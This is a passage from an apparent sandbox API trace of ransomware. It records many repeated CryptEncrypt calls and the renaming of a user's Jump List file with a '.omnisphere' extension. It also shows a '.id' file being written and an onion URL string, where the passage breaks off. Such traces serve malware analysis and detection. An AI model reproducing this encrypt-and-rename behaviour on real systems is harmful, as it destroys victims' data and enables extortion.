pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.137] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.138] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.139] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.140] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.141] CryptDestroyKey (hKey=0x16396e8) returned 1 [0128.141] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0128.141] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.141] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.142] GetProcessHeap () returned 0x1600000 [0128.142] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fca50 [0128.142] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\80d13f95c2c02af9.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\80d13f95c2c02af9.automaticdestinations-ms.omnisphere")) returned 1 [0128.143] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms.omnisphere.id" [0128.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\80d13f95c2c02af9.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.144] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.145] CloseHandle (hObject=0x388) returned 1 [0128.146] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.146] CloseHandle (hObject=0x3c0) returned 1 [0128.146] SetEndOfFile (hFile=0x288) returned 1 [0128.146] FlushFileBuffers (hFile=0x288) returned 1 [0128.151] CloseHandle (hObject=0x288) returned 1 [0128.151] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.151] GetProcessHeap () returned 0x1600000 [0128.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fcd68 [0128.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.151] 